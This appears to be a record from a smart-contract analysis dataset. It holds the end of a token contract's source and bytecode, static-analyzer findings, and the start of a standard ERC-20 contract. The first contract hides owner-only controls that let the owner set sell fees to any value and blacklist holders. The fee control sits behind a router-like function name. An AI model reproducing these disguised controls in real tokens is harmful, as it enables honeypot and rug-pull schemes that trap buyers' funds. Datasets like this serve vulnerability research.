bots[notbot] = false;
}
function includeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_reflectionTotal = _reflectionTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function swapExactTokensForETHSupportingFeeOnTransferToken(uint256 one, uint256 two) public onlyOwner {
_reflectionFeeOnSell = one;
_taxFeeOnSell = two;
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256){
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectionFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _reflectionTotal;
uint256 tSupply = _totalSupply;
if (rSupply < _reflectionTotal.div(_totalSupply)) return (_reflectionTotal, _totalSupply);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101385760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b41146103fc578063a9059cbb14610427578063bfd7928414610464578063c3c8cd80146104a1578063dd62ed3e146104b8578063ff511828146104f55761013f565b806370a0823114610329578063715018a6146103665780637d1db4a51461037d5780638da5cb5b146103a85780638e6b4876146103d35761013f565b806323b872dd116100fd57806323b872dd1461022b5780632fd689e314610268578063313ce5671461029357806349bd5a5e146102be5780636b999053146102e95780636fc3eaec146103125761013f565b8062b8cf2a1461014457806306fdde031461016d578063095ea7b3146101985780631694505e146101d557806318160ddd146102005761013f565b3661013f57005b600080fd5b34801561015057600080fd5b5061016b60048036038101906101669190612501565b61051e565b005b34801561017957600080fd5b50610182610648565b60405161018f91906125d2565b60405180910390f35b3480156101a457600080fd5b506101bf60048036038101906101ba919061262a565b610685565b6040516101cc9190612685565b60405180910390f35b3480156101e157600080fd5b506101ea6106a3565b6040516101f791906126ff565b60405180910390f35b34801561020c57600080fd5b506102156106c9565b6040516102229190612729565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d9190612744565b6106d8565b60405161025f9190612685565b60405180910390f35b34801561027457600080fd5b5061027d6107b1565b60405161028a9190612729565b60405180910390f35b34801561029f57600080fd5b506102a86107b7565b6040516102b591906127b3565b60405180910390f35b3480156102ca57600080fd5b506102d36107c0565b6040516102e091906127dd565b60405180910390f35b3480156102f557600080fd5b50610310600480360381019061030b91906127f8565b6107e6565b005b34801561031e57600080fd5b506103276108d6565b005b34801561033557600080fd5b50610350600480360381019061034b91906127f8565b610948565b60405161035d9190612729565b60405180910390f35b34801561037257600080fd5b5061037b610999565b005b34801561038957600080fd5b50610392610aec565b60405161039f9190612729565b60405180910390f35b3480156103b457600080fd5b506103bd610af2565b6040516103ca91906127dd565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f59190612825565b610b1b565b005b34801561040857600080fd5b50610411610bc2565b60405161041e91906125d2565b60405180910390f35b34801561043357600080fd5b5061044e6004803603810190610449919061262a565b610bff565b60405161045b9190612685565b60405180910390f35b34801561047057600080fd5b5061048b600480360381019061048691906127f8565b610c1d565b6040516104989190612685565b60405180910390f35b3480156104ad57600080fd5b506104b6610c3d565b005b3480156104c457600080fd5b506104df60048036038101906104da9190612865565b610cb7565b6040516104ec9190612729565b60405180910390f35b34801561050157600080fd5b5061051c600480360381019061051791906127f8565b610d3e565b005b610526610e65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105aa906128f1565b60405180910390fd5b60005b8151811015610644576001601060008484815181106105d8576105d7612911565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061063c9061296f565b9150506105b6565b5050565b60606040518060400160405280600d81526020017f41727368612046696e616e636500000000000000000000000000000000000000815250905090565b6000610699610692610e65565b8484610e6d565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066354a6ba7a18000905090565b60006106e5848484611038565b6107a6846106f1610e65565b6107a18560405180606001604052806028815260200161318e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610757610e65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a69092919063ffffffff16565b610e6d565b600190509392505050565b60175481565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107ee610e65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610872906128f1565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610917610e65565b73ffffffffffffffffffffffffffffffffffffffff161461093757600080fd5b60004790506109458161180a565b50565b6000610992600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192b565b9050919050565b6109a1610e65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a25906128f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b23610e65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba7906128f1565b60405180910390fd5b81600a8190555080600b819055505050565b60606040518060400160405280600681526020017f2441525348410000000000000000000000000000000000000000000000000000815250905090565b6000610c13610c0c610e65565b8484611038565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c7e610e65565b73ffffffffffffffffffffffffffffffffffffffff1614610c9e57600080fd5b6000610ca930610948565b9050610cb481611999565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d46610e65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca906128f1565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b6281604051610e5a91906127dd565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612a2a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4490612abc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161102b9190612729565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109f90612b4e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110f90612be0565b60405180910390fd5b6000811161115b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115290612c72565b60405180910390fd5b611163610af2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111d157506111a1610af2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561120a5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611244575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561129e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112f85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114a557601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156113a15750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612d04565b60405180910390fd5b60006113eb30610948565b90506000601754821015905060165482106114065760165491505b8080156114205750601560149054906101000a900460ff16155b801561147a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156114a25761148882611999565b600047905060008111156114a05761149f4761180a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061154c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115ff5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115fe5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561160d5760009050611794565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116b85750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116d057600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561179357600a54600c81905550600b54600d819055505b5b6117a084848484611c12565b50505050565b60008383111582906117ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e591906125d2565b60405180910390fd5b50600083856117fd9190612d24565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61186d600861185f600986611c3f90919063ffffffff16565b611c8990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611898573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118fc60016118ee600986611c3f90919063ffffffff16565b611c8990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611927573d6000803e3d6000fd5b5050565b6000600654821115611972576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196990612dca565b60405180910390fd5b600061197c611d04565b90506119918184611c3f90919063ffffffff16565b915050919050565b6001601560146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119d1576119d0612360565b5b6040519080825280602002602001820160405280156119ff5781602001602082028036833780820191505090505b5090503081600081518110611a1757611a16612911565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611abe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae29190612dff565b81600181518110611af657611af5612911565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5d30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e6d565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bc1959493929190612f25565b600060405180830381600087803b158015611bdb57600080fd5b505af1158015611bef573d6000803e3d6000fd5b50505050506000601560146101000a81548160ff02191690831515021790555050565b80611c2057611c1f611d2f565b5b611c2b848484611d72565b80611c3957611c38611f3d565b5b50505050565b6000611c8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f51565b905092915050565b600080831415611c9c5760009050611cfe565b60008284611caa9190612f7f565b9050828482611cb99190613008565b14611cf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf0906130ab565b60405180910390fd5b809150505b92915050565b6000806000611d11611fb4565b91509150611d288183611c3f90919063ffffffff16565b9250505090565b6000600c54148015611d4357506000600d54145b15611d4d57611d70565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080611d8487612010565b955095509550955095509550611de286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461207890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ec381612120565b611ecd84836121dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f2a9190612729565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290611f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8f91906125d2565b60405180910390fd5b5060008385611fa79190613008565b9050809150509392505050565b60008060006006549050600066354a6ba7a180009050611fe666354a6ba7a18000600654611c3f90919063ffffffff16565b8210156120035760065466354a6ba7a1800093509350505061200c565b81819350935050505b9091565b600080600080600080600080600061202d8a600c54600d54612217565b925092509250600061203d611d04565b905060008060006120508e8787876122ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a6565b905092915050565b60008082846120d191906130cb565b905083811015612116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210d9061316d565b60405180910390fd5b8091505092915050565b600061212a611d04565b905060006121418284611c8990919063ffffffff16565b905061219581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6121f28260065461207890919063ffffffff16565b60068190555061220d816007546120c290919063ffffffff16565b6007819055505050565b6000806000806122436064612235888a611c8990919063ffffffff16565b611c3f90919063ffffffff16565b9050600061226d606461225f888b611c8990919063ffffffff16565b611c3f90919063ffffffff16565b9050600061229682612288858c61207890919063ffffffff16565b61207890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122c68589611c8990919063ffffffff16565b905060006122dd8689611c8990919063ffffffff16565b905060006122f48789611c8990919063ffffffff16565b9050600061231d8261230f858761207890919063ffffffff16565b61207890919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123988261234f565b810181811067ffffffffffffffff821117156123b7576123b6612360565b5b80604052505050565b60006123ca612336565b90506123d6828261238f565b919050565b600067ffffffffffffffff8211156123f6576123f5612360565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006124378261240c565b9050919050565b6124478161242c565b811461245257600080fd5b50565b6000813590506124648161243e565b92915050565b600061247d612478846123db565b6123c0565b905080838252602082019050602084028301858111156124a05761249f612407565b5b835b818110156124c957806124b58882612455565b8452602084019350506020810190506124a2565b5050509392505050565b600082601f8301126124e8576124e761234a565b5b81356124f884826020860161246a565b91505092915050565b60006020828403121561251757612516612340565b5b600082013567ffffffffffffffff81111561253557612534612345565b5b612541848285016124d3565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612584578082015181840152602081019050612569565b83811115612593576000848401525b50505050565b60006125a48261254a565b6125ae8185612555565b93506125be818560208601612566565b6125c78161234f565b840191505092915050565b600060208201905081810360008301526125ec8184612599565b905092915050565b6000819050919050565b612607816125f4565b811461261257600080fd5b50565b600081359050612624816125fe565b92915050565b6000806040838503121561264157612640612340565b5b600061264f85828601612455565b925050602061266085828601612615565b9150509250929050565b60008115159050919050565b61267f8161266a565b82525050565b600060208201905061269a6000830184612676565b92915050565b6000819050919050565b60006126c56126c06126bb8461240c565b6126a0565b61240c565b9050919050565b60006126d7826126aa565b9050919050565b60006126e9826126cc565b9050919050565b6126f9816126de565b82525050565b600060208201905061271460008301846126f0565b92915050565b612723816125f4565b82525050565b600060208201905061273e600083018461271a565b92915050565b60008060006060848603121561275d5761275c612340565b5b600061276b86828701612455565b935050602061277c86828701612455565b925050604061278d86828701612615565b9150509250925092565b600060ff82169050919050565b6127ad81612797565b82525050565b60006020820190506127c860008301846127a4565b92915050565b6127d78161242c565b82525050565b60006020820190506127f260008301846127ce565b92915050565b60006020828403121561280e5761280d612340565b5b600061281c84828501612455565b91505092915050565b6000806040838503121561283c5761283b612340565b5b600061284a85828601612615565b925050602061285b85828601612615565b9150509250929050565b6000806040838503121561287c5761287b612340565b5b600061288a85828601612455565b925050602061289b85828601612455565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128db602083612555565b91506128e6826128a5565b602082019050919050565b6000602082019050818103600083015261290a816128ce565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061297a826125f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129ad576129ac612940565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612a14602483612555565b9150612a1f826129b8565b604082019050919050565b60006020820190508181036000830152612a4381612a07565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612aa6602283612555565b9150612ab182612a4a565b604082019050919050565b60006020820190508181036000830152612ad581612a99565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b38602583612555565b9150612b4382612adc565b604082019050919050565b60006020820190508181036000830152612b6781612b2b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612bca602383612555565b9150612bd582612b6e565b604082019050919050565b60006020820190508181036000830152612bf981612bbd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c5c602983612555565b9150612c6782612c00565b604082019050919050565b60006020820190508181036000830152612c8b81612c4f565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000612cee602383612555565b9150612cf982612c92565b604082019050919050565b60006020820190508181036000830152612d1d81612ce1565b9050919050565b6000612d2f826125f4565b9150612d3a836125f4565b925082821015612d4d57612d4c612940565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612db4602a83612555565b9150612dbf82612d58565b604082019050919050565b60006020820190508181036000830152612de381612da7565b9050919050565b600081519050612df98161243e565b92915050565b600060208284031215612e1557612e14612340565b5b6000612e2384828501612dea565b91505092915050565b6000819050919050565b6000612e51612e4c612e4784612e2c565b6126a0565b6125f4565b9050919050565b612e6181612e36565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612e9c8161242c565b82525050565b6000612eae8383612e93565b60208301905092915050565b6000602082019050919050565b6000612ed282612e67565b612edc8185612e72565b9350612ee783612e83565b8060005b83811015612f18578151612eff8882612ea2565b9750612f0a83612eba565b925050600181019050612eeb565b5085935050505092915050565b600060a082019050612f3a600083018861271a565b612f476020830187612e58565b8181036040830152612f598186612ec7565b9050612f6860608301856127ce565b612f75608083018461271a565b9695505050505050565b6000612f8a826125f4565b9150612f95836125f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612fce57612fcd612940565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613013826125f4565b915061301e836125f4565b92508261302e5761302d612fd9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613095602183612555565b91506130a082613039565b604082019050919050565b600060208201905081810360008301526130c481613088565b9050919050565b60006130d6826125f4565b91506130e1836125f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561311657613115612940565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613157601b83612555565b915061316282613121565b602082019050919050565b600060208201905081810360008301526131868161314a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f546c72cb01c439d4f164314ce42b589e5c17f9e2089ee0d40e306df842732c64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,077 |
0x2d921eb3e1528b51cc4c277bb8696bc81f2835d8
|
/**
*Submitted for verification at Etherscan.io on 2019-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2019-04-14
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
